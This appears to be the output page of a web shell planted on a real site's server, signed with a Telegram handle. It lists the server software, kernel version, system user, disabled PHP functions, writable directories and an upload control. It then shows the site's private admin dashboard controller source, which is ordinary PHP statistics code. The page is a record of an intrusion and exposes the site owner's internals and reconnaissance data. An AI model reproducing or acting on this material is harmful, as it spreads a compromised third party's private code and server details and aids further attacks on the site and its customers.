https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/controllers/admin/Dashboard.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Dashboard extends Admin_Controller {
	
	function __construct() {
		parent::__construct();		
		$this->load->model('user_m');
		$this->load->model('order_m');
	}
	
	function index() {
		$this->data['subview'] = 'admin/index';
		$this->load->view('admin/templates/header', $this->data_header);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
	}

	function ajax_statistik() {

		$week = date('Y-m-d', strtotime('-7 days', strtotime(date('Y-m-d'))));
		$day = date('Y-m-d');
		$month = date('Y-m');


		//get visits
		$this->db->select('*')->from('visits')->where('SUBSTRING(date, 1, 10) =', $day);
		$count_visit_day = $this->db->get()->num_rows();

		$this->db->select('*')->from('visits')->where('SUBSTRING(date, 1, 10) BETWEEN "'.$week.'" AND', $day);
		$count_visit_week = $this->db->get()->num_rows();	

		$this->db->select('*')->from('visits')->where('SUBSTRING(date, 1, 7) =', $month);
		$count_visit_month = $this->db->get()->num_rows();


		//get visits by ip
		$this->db->select('*')->from('visits')->where('SUBSTRING(date, 1, 10) =', $day)->group_by('ip_address');
		$count_visit_by_ip_day = $this->db->get()->num_rows();

		$this->db->select('*')->from('visits')->where('SUBSTRING(date, 1, 10) BETWEEN "'.$week.'" AND', $day)->group_by('ip_address');
		$count_visit_by_ip_week = $this->db->get()->num_rows();

		$this->db->select('*')->from('visits')->where('SUBSTRING(date, 1, 7) =', $month)->group_by('ip_address');
		$count_visit_by_ip_month = $this->db->get()->num_rows();


		//get customers
		$this->db->select('*')->from('customers')->where('SUBSTRING(join_date, 1, 10) =', $day);
		$count_customer_day = $this->db->get()->num_rows();

		$this->db->select('*')->from('customers')->where('SUBSTRING(join_date, 1, 10) BETWEEN "'.$week.'" AND', $day);
		$count_customer_week = $this->db->get()->num_rows();

		$this->db->select('*')->from('customers')->where('SUBSTRING(join_date, 1, 7) =', $month);
		$count_customer_month = $this->db->get()->num_rows();


		//get orders
		$this->db->select_sum('total_amount')->from('orders')->where('payment_status !=', 0)->where('SUBSTRING(order_date, 1, 10) =', $day);
		$count_order_day = $this->db->get()->row()->total_amount;

		$this->db->select_sum('total_amount')->from('orders')->where('payment_status !=', 0)->where('SUBSTRING(order_date, 1, 10) BETWEEN "'.$week.'" AND', $day);
		$count_order_week = $this->db->get()->row()->total_amount;

		$this->db->select_sum('total_amount')->from('orders')->where('payment_status !=', 0)->where('SUBSTRING(order_date, 1, 7) =', $month);
		$count_order_month = $this->db->get()->row()->total_amount;


		//get orders paid
		$this->db->select_sum('total_amount')->from('orders')->where('payment_status', 3)->where('payment_status !=', 0)->where('SUBSTRING(order_date, 1, 10) =', $day);
		$count_order_paid_day = $this->db->get()->row()->total_amount;

		$this->db->select_sum('total_amount')->from('orders')->where('payment_status', 3)->where('payment_status !=', 0)->where('SUBSTRING(order_date, 1, 10) BETWEEN "'.$week.'" AND', $day);
		$count_order_paid_week = $this->db->get()->row()->total_amount;

		$this->db->select_sum('total_amount')->from('orders')->where('payment_status', 3)->where('SUBSTRING(order_date, 1, 7) =', $month);
		$count_order_paid_month = $this->db->get()->row()->total_amount;


		//get orders by item
		$this->db->select('*')->from('orders_detail')->group_by('item_id')->where('SUBSTRING(shipping_date, 1, 10) =', $day);
		$count_order_by_item_day = $this->db->get()->num_rows();

		$this->db->select('*')->from('orders_detail')->group_by('item_id')->where('SUBSTRING(shipping_date, 1, 10) BETWEEN "'.$week.'" AND', $day);
		$count_order_by_item_week = $this->db->get()->num_rows();

		$this->db->select('*')->from('orders_detail')->group_by('item_id')->where('SUBSTRING(shipping_date, 1, 7) =', $month);
		$count_order_by_item_month = $this->db->get()->num_rows();
		

		//get value
		$val = $this->input->post('val');

		//validate
		if ($val=='week') {

			$count_visit = $count_visit_week;
			$count_customer = $count_customer_week;
			$count_visit_by_ip = $count_visit_by_ip_week;
			$count_order = $count_order_week;
			$count_order_by_item = $count_order_by_item_week;
			$count_order_paid = $count_order_paid_week;
		
		} else if ($val=='month') {

			$count_visit = $count_visit_month;
			$count_customer = $count_customer_month;
			$count_visit_by_ip = $count_visit_by_ip_month;
			$count_order = $count_order_month;
			$count_order_by_item = $count_order_by_item_month;
			$count_order_paid = $count_order_paid_month;

		} else {

			$count_visit = $count_visit_day;
			$count_customer = $count_customer_day;
			$count_visit_by_ip = $count_visit_by_ip_day;
			$count_order = $count_order_day;
			$count_order_by_item = $count_order_by_item_day;
			$count_order_paid = $count_order_paid_day;

		}

		$data = array(
			'count_visit' => $count_visit,
			'count_customer' => $count_customer,
			'count_visit_by_ip' => $count_visit_by_ip,
			'count_order' => $count_order,
			'count_order_by_item' => $count_order_by_item,
			'count_order_paid' => $count_order_paid,
		);

		$this->load->view('ajax/ajax_get_statistik',$data);
	
	}
	
}

https://t.me/RX1948 - 2025